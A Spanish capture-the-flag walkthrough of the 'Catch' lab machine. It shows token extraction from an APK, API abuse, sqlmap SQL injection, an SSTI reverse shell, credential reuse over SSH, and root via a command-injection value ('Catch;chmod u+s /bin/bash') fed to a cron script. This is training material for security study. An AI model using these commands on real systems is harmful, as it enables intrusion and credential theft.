Catch



Conocimientos

  • Análisis de APK

  • Information Disclosure

  • Enumeración y abuso de API

  • Inyección SQL

  • SSTI

  • Abuso de tarea CRON (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.150 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-09 11:04 GMT
Nmap scan report for 10.10.11.150
Host is up (0.048s latency).
Not shown: 65530 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
5000/tcp open  upnp
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 12.27 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80,3000,5000,8000 10.10.11.150 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-09 11:05 GMT
Nmap scan report for 10.10.11.150
Host is up (0.32s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Catch Global Systems
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=6e2dea9cba2ad2d8; Path=/; HttpOnly
|     Set-Cookie: _csrf=dSdDtJuoIuTLy7vF3RxD7jxfR8s6MTY3NTk0MDcxMjk1MjIxNzczOA; Path=/; Expires=Fri, 10 Feb 2023 11:05:12 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 09 Feb 2023 11:05:13 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Catch Repositories </title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Set-Cookie: i_like_gitea=372f1a0a5ed9bb43; Path=/; HttpOnly
|     Set-Cookie: _csrf=yso45wY8yO7ANrhZdMvAYqcijXk6MTY3NTk0MDcxODcyODk4OTgxNw; Path=/; Expires=Fri, 10 Feb 2023 11:05:18 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 09 Feb 2023 11:05:18 GMT
|_    Content-Length: 0
5000/tcp open  upnp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 302 Found
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1
|     Location: /login
|     Vary: Accept, Accept-Encoding
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 28
|     Set-Cookie: connect.sid=s%3A7npQE_l3e22Pf6ahuL_K4AgICYtXimzC.sSaFMVq%2BNuqwlGhkOVxlqe2e%2FKwfKRBMysP%2FJDuYE1w; Path=/; HttpOnly
|     Date: Thu, 09 Feb 2023 11:05:17 GMT
|     Connection: close
|     Found. Redirecting to /login
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1
|     Allow: GET,HEAD
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 8
|     ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|     Set-Cookie: connect.sid=s%3AkEpOmIdUqNGknAL63f8goAvonBmXBnbJ.jDltUGSm5ab5SLCfWIL0pjuSyBQoPGEoF1sRQeTLL7U; Path=/; HttpOnly
|     Vary: Accept-Encoding
|     Date: Thu, 09 Feb 2023 11:05:19 GMT
|     Connection: close
|_    GET,HEAD
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.93%I=7%D=2/9%Time=63E4D369%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(GetRequest,29D7,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x
SF:20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20i_like_gitea=6e2dea9cba
SF:2ad2d8;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=dSdDtJuoIuTLy7vF
SF:3RxD7jxfR8s6MTY3NTk0MDcxMjk1MjIxNzczOA;\x20Path=/;\x20Expires=Fri,\x201
SF:0\x20Feb\x202023\x2011:05:12\x20GMT;\x20HttpOnly;\x20SameSite=Lax\r\nSe
SF:t-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age=0;\x20HttpOnly\r\nX-
SF:Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Thu,\x2009\x20Feb\x202023\x201
SF:1:05:13\x20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20cl
SF:ass=\"theme-\">\n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8
SF:\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20i
SF:nitial-scale=1\">\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content
SF:=\"ie=edge\">\n\t<title>\x20Catch\x20Repositories\x20</title>\n\t<link\
SF:x20rel=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoi
SF:Q2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyI
SF:sInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3
SF:sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz")%r(Help,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,17F,
SF:"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nSet-Cookie:\x20i_like_
SF:gitea=372f1a0a5ed9bb43;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=
SF:yso45wY8yO7ANrhZdMvAYqcijXk6MTY3NTk0MDcxODcyODk4OTgxNw;\x20Path=/;\x20E
SF:xpires=Fri,\x2010\x20Feb\x202023\x2011:05:18\x20GMT;\x20HttpOnly;\x20Sa
SF:meSite=Lax\r\nSet-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age=0;\x
SF:20HttpOnly\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Thu,\x2009\x20
SF:Feb\x202023\x2011:05:18\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSP
SF:Request,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5000-TCP:V=7.93%I=7%D=2/9%Time=63E4D36E%P=x86_64-pc-linux-gnu%r(Get
SF:Request,240,"HTTP/1\.1\x20302\x20Found\r\nX-Frame-Options:\x20SAMEORIGI
SF:N\r\nX-Download-Options:\x20noopen\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-XSS-Protection:\x201;\x20mode=block\r\nContent-Security-Policy:\
SF:x20\r\nX-Content-Security-Policy:\x20\r\nX-WebKit-CSP:\x20\r\nX-UA-Comp
SF:atible:\x20IE=Edge,chrome=1\r\nLocation:\x20/login\r\nVary:\x20Accept,\
SF:x20Accept-Encoding\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Content-Length:\x2028\r\nSet-Cookie:\x20connect\.sid=s%3A7npQE_l3e22Pf6
SF:ahuL_K4AgICYtXimzC\.sSaFMVq%2BNuqwlGhkOVxlqe2e%2FKwfKRBMysP%2FJDuYE1w;\
SF:x20Path=/;\x20HttpOnly\r\nDate:\x20Thu,\x2009\x20Feb\x202023\x2011:05:1
SF:7\x20GMT\r\nConnection:\x20close\r\n\r\nFound\.\x20Redirecting\x20to\x2
SF:0/login")%r(RTSPRequest,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConne
SF:ction:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(SMBProgNeg,2F,"HTT
SF:P/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Zen
SF:dJavaBridge,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20cl
SF:ose\r\n\r\n")%r(HTTPOptions,241,"HTTP/1\.1\x20200\x20OK\r\nX-Frame-Opti
SF:ons:\x20SAMEORIGIN\r\nX-Download-Options:\x20noopen\r\nX-Content-Type-O
SF:ptions:\x20nosniff\r\nX-XSS-Protection:\x201;\x20mode=block\r\nContent-
SF:Security-Policy:\x20\r\nX-Content-Security-Policy:\x20\r\nX-WebKit-CSP:
SF:\x20\r\nX-UA-Compatible:\x20IE=Edge,chrome=1\r\nAllow:\x20GET,HEAD\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x208\r\n
SF:ETag:\x20W/\"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg\"\r\nSet-Cookie:\x20connect\
SF:.sid=s%3AkEpOmIdUqNGknAL63f8goAvonBmXBnbJ\.jDltUGSm5ab5SLCfWIL0pjuSyBQo
SF:PGEoF1sRQeTLL7U;\x20Path=/;\x20HttpOnly\r\nVary:\x20Accept-Encoding\r\n
SF:Date:\x20Thu,\x2009\x20Feb\x202023\x2011:05:19\x20GMT\r\nConnection:\x2
SF:0close\r\n\r\nGET,HEAD")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nConnection:\x20close\r\n\r\n")%r(DNSStatusRequestTCP,2F,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(Help,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.84 seconds

Puerto 80,3000,5000,8000 (HTTP)

Con whatweb analizo las tecnologías que está empleando el servidor web

for i in 80 3000 5000 8000; do echo -e "\n[+] Puerto $i"; whatweb 10.10.11.150:$i; echo; done

[+] Puerto 80
http://10.10.11.150:80 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.150], Script, Title[Catch Global Systems]


[+] Puerto 3000
http://10.10.11.150:3000 [200 OK] Cookies[_csrf,i_like_gitea,macaron_flash], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea,macaron_flash], IP[10.10.11.150], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[Catch Repositories], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[ie=edge]


[+] Puerto 5000
http://10.10.11.150:5000 [302 Found] Content-Security-Policy, Cookies[connect.sid], Country[RESERVED][ZZ], HttpOnly[connect.sid], IP[10.10.11.150], RedirectLocation[/login], UncommonHeaders[x-download-options,x-content-type-options,content-security-policy,x-content-security-policy,x-webkit-csp], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=Edge,chrome=1], X-XSS-Protection[1; mode=block]
http://10.10.11.150:5000/login [200 OK] Content-Security-Policy, Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HttpOnly[connect.sid], IP[10.10.11.150], PasswordField[password], Script, Title[Login &middot; Let's Chat], UncommonHeaders[x-download-options,x-content-type-options,content-security-policy,x-content-security-policy,x-webkit-csp], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=Edge,chrome=1], X-XSS-Protection[1; mode=block]


[+] Puerto 8000
http://10.10.11.150:8000 [200 OK] Apache[2.4.29], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], HttpOnly[laravel_session], IP[10.10.11.150], Laravel, Open-Graph-Protocol[website], Script[text/javascript], Title[Catch Global Systems], X-UA-Compatible[IE=edge]

Las páginas principales se ven así:

Desde el puerto 80 puedo descargar un APK

La descomprimo para ver su estructura

apktool d catchv1.0.apk
I: Using Apktool 2.7.0 on catchv1.0.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

Encuentro dos token

cat res/values/strings.xml | grep token
    <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
    <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
    <string name="slack_token">xoxp-23984754863-2348975623103</string>

Para poder debuggearlo, creo un archivo JAR a partir de la APK

d2j-dex2jar catchv1.0.apk
dex2jar catchv1.0.apk -> ./catchv1.0-dex2jar.jar

Utilizo JDGUI

jd-gui catchv1.0-dex2jar.jar &>/dev/null & disown

Encuentro un subdominio en el código

Lo añado al /etc/hosts

La web del puerto 5000 está en un proyecto de Github

En la Wiki hay una sección con la sintaxis básica de la API

Me da un error de autenticación

curl -s -X GET "http://10.10.11.150:5000/rooms"; echo
Unauthorized

Pero tengo los token que extraje del APK

curl -s -X GET "http://10.10.11.150:5000/rooms" -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | jq
[
  {
    "id": "61b86b28d984e2451036eb17",
    "slug": "status",
    "name": "Status",
    "description": "Cachet Updates and Maintenance",
    "lastActive": "2021-12-14T10:34:20.749Z",
    "created": "2021-12-14T10:00:08.384Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
  },
  {
    "id": "61b8708efe190b466d476bfb",
    "slug": "android_dev",
    "name": "Android Development",
    "description": "Android App Updates, Issues & More",
    "lastActive": "2021-12-14T10:24:21.145Z",
    "created": "2021-12-14T10:23:10.474Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
  },
  {
    "id": "61b86b3fd984e2451036eb18",
    "slug": "employees",
    "name": "Employees",
    "description": "New Joinees, Org updates",
    "lastActive": "2021-12-14T10:18:04.710Z",
    "created": "2021-12-14T10:00:31.043Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
  }
]

Teniendo los identificadores, puedo intentar listar los mensajes para cada sala

curl -s -X GET "http://10.10.11.150:5000/rooms/61b86b28d984e2451036eb17/messages" -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | jq '.[].text' | tr -d '"' | tac
Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me. 
Can you create an account for me ? 
Sure one sec.
Here are the credentials `john :  E}V!mywu_69T4C}W`
@john is it possible to add SSL to our status domain to make sure everything is secure ? 
Why not. We've this in our todo list for next quarter
Excellent! 
Also make sure we've our systems, applications and databases up-to-date.
You should actually include this task to your list as well as a part of quarterly audit
ah sure!

Obtengo credenciales, puede que sean para el Cachet o el Gitea

Puedo acceder y tengo acceso a la siguiente interfaz:

Una sección es vulnerable a SSTI

Pero no consigo ninguna forma de ejecutar comandos.

Desde el código fuente se puede ver como se sanitiza el output

En este artículo explican una forma de abusar de otro SSTI pero a través de una inyección SQL

Sigo todos sus pasos

sqlmap -u "http://10.10.11.150:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" -D cachet -T users -C api_key,username --dump --batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:18:02 /2023-02-09/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[13:18:02] [INFO] resuming back-end DBMS 'mysql' 
[13:18:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://10.10.11.150:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or 'a'=? and 1=1) AND (SELECT 9331 FROM (SELECT(SLEEP(5)))ifkr) --
---

Database: cachet
Table: users
[2 entries]
+----------------------+----------+
| api_key              | username |
+----------------------+----------+
| 7GVCqTY5abrox48Nct8j | john     |
| rMSN8kJN9TPADl2cWv8N | admin    |
+----------------------+----------+

[13:25:33] [INFO] table 'cachet.users' dumped to CSV file '/root/.local/share/sqlmap/output/10.10.11.150/dump/cachet/users.csv'
[13:25:33] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.11.150'

[*] ending @ 13:25:33 /2023-02-09/

Creo la plantilla e introduzco el payload en el mensaje

Cargo los datos en JSON

curl -s -X POST "http://10.10.11.150:8000/api/v1/incidents" -H "X-Cachet-Token: rMSN8kJN9TPADl2cWv8N" -d 'visible=0&status=1&name=demo&template=rce' | jq

Gano acceso en una sesión de netcat

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.150] 41366
bash: cannot set terminal process group (27): Inappropriate ioctl for device
bash: no job control in this shell
www-data@81182d9e4b17:/var/www/html/Cachet/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@81182d9e4b17:/var/www/html/Cachet/public$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
www-data@81182d9e4b17:/var/www/html/Cachet/public$ export TERM=xterm
www-data@81182d9e4b17:/var/www/html/Cachet/public$ export SHELL=bash
www-data@81182d9e4b17:/var/www/html/Cachet/public$ stty rows 55 columns 209

Estoy dentro de un contenedor

www-data@81182d9e4b17:/var/www/html/Cachet/public$ hostname -I
172.17.0.7 

Dentro de la ruta donde se aloja el servicio web, hay un archivo con variables de entorno, entre las que se encuentran credenciales de acceso a la base de datos

www-data@81182d9e4b17:/var/www/html/Cachet$ cat .env
...

DB_DRIVER=mysql
DB_HOST=localhost
DB_UNIX_SOCKET=null
DB_DATABASE=cachet
DB_USERNAME=will
DB_PASSWORD=s2#4Fg0_%3!

...

Se reutilizan para el acceso por SSH

ssh will@10.10.11.150
The authenticity of host '10.10.11.150 (10.10.11.150)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

will@catch:~$

Puedo visualizar la primera flag

will@catch:~$ cat user.txt 
b27331b600800df68713fc35fcb65e13

Escalada

Hay otro usuario llamado git

will@catch:/opt$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
git:x:115:121:Git Version Control,,,:/home/git:/bin/bash
will:x:1000:1000:,,,:/home/will:/bin/bash

Subo y ejecuto el pspy para ver tareas programadas

2023/02/09 15:46:01 CMD: UID=0    PID=116434 | /usr/sbin/CRON -f 
2023/02/09 15:46:01 CMD: UID=0    PID=116436 | 
2023/02/09 15:46:01 CMD: UID=0    PID=116437 | /bin/bash /opt/mdm/verify.sh 
2023/02/09 15:46:01 CMD: UID=0    PID=116440 | /bin/bash /opt/mdm/verify.sh 
2023/02/09 15:46:01 CMD: UID=0    PID=116438 | /bin/bash /opt/mdm/verify.sh 
2023/02/09 15:46:01 CMD: UID=0    PID=116441 | 
2023/02/09 15:46:01 CMD: UID=0    PID=116442 | /bin/bash /opt/mdm/verify.sh 
2023/02/09 15:46:01 CMD: UID=0    PID=116443 | jarsigner -verify /root/mdm/apk_bin/1cd7b7d30aa7dd0ce13f7c2f.apk 
2023/02/09 15:46:02 CMD: UID=0    PID=116466 | /bin/bash /opt/mdm/verify.sh 
2023/02/09 15:46:02 CMD: UID=0    PID=116465 | grep -v apk_bin 
2023/02/09 15:46:02 CMD: UID=0    PID=116464 | ls -A /opt/mdm 
2023/02/09 15:46:02 CMD: UID=0    PID=116463 | /bin/bash /opt/mdm/verify.sh 

Tengo acceso a los archivos del directorio /opt

will@catch:/opt/mdm$ ls -la
total 16
drwxr-x--x+ 3 root root 4096 Mar  3  2022 .
drwxr-xr-x  4 root root 4096 Dec 16  2021 ..
drwxrwx--x+ 2 root root 4096 Dec 16  2021 apk_bin
-rwxr-x--x+ 1 root root 1894 Mar  3  2022 verify.sh

El archivo verify.sh está compuesto por varias funciones

###################
# Signature Check #
###################

sig_check() {
    jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
    if [[ $? -eq 0 ]]; then
        echo '[+] Signature Check Passed'
    else
        echo '[!] Signature Check Failed. Invalid Certificate.'
        cleanup
        exit
    fi
}

Esta se encarga de validar que el APK que se le está pasando como argumento tiene una firma válida. En caso contrario el programa termina

#######################
# Compatibility Check #
#######################

comp_check() {
    apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
    COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
    if [ -z "$COMPILE_SDK_VER" ]; then
        echo '[!] Failed to find target SDK version.'
        cleanup
        exit
    else
        if [ $COMPILE_SDK_VER -lt 18 ]; then
            echo "[!] APK Doesn't meet the requirements"
            cleanup
            exit
        fi
    fi
}

Aplica una descompresión al APK y con el uso de expresiones regulares comprueba la versión del SDK que se está empleando. En caso de que sea menor que la 18 el programa concluye

####################
# Basic App Checks #
####################

app_check() {
    APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
    echo $APP_NAME
    if [[ $APP_NAME == *"Catch"* ]]; then
        echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
        mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
    else
        echo "[!] App doesn't belong to Catch Global"
        cleanup
        exit
    fi
}

En caso de que no se encuentre la cadena ‘Catch’ con data delante y detrás el programa no avanza. Crea un directorio con ese nombre

###########
# Cleanup #
###########

cleanup() {
    rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}

Elimina todo lo que hay en el directorio almacenado en la variable DROPBOX y también en el directorio /opt/mdm, excepto apk_bin y verify.sh

###################
# MDM CheckerV1.0 #
###################

DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk;do
    OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
    APK_NAME="$(openssl rand -hex 12).apk"
    if [[ -L "$IN_APK_NAME" ]]; then
        exit
    else
        mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
    fi
    sig_check $IN_FOLDER $APK_NAME
    comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
    app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup

Define todas las variables e itera en un bucle por los APKs dentro de $DROPBOX para generar un nombre aleatorio (generado con openssl) añadiendole ‘_verified.apk’, moviéndolos a otro directorio y llama a las funciones que expliqué antes con sus correspondientes argumentos

Para la APK que ya tengo, si pasa la validación

jarsigner -verify catchv1.0.apk &>/dev/null
echo $?
0

La expresión regular sobre el AndroidManifest.xml devuelve 32

grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" AndroidManifest.xml
32

Puedo modificar el campo app_name el el archivo strings.xml, ya que se le está pasando a la función app_check con wildcards. Al estarse creando un directorio utilizando como argumento este nombre, es posible inyectar un comando y que lo ejecute

grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" strings.xml
Catch;chmod u+s /bin/bash

Creo de nuevo la APK con apktool

apktool b
I: Using Apktool 2.7.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk into: ./dist/catchv1.0.apk

La transfiero a la máquina víctima al directorio /opt/mdm/apk_bin. Una vez se acontece la tarea CRON, la bash pasa a ser SUID, puedo obtener una sesión como root y visualizar la segunda flag

will@catch:/opt/mdm/apk_bin$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash
will@catch:/opt/mdm/apk_bin$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
fe620c756be3352151296c7e9af5ee43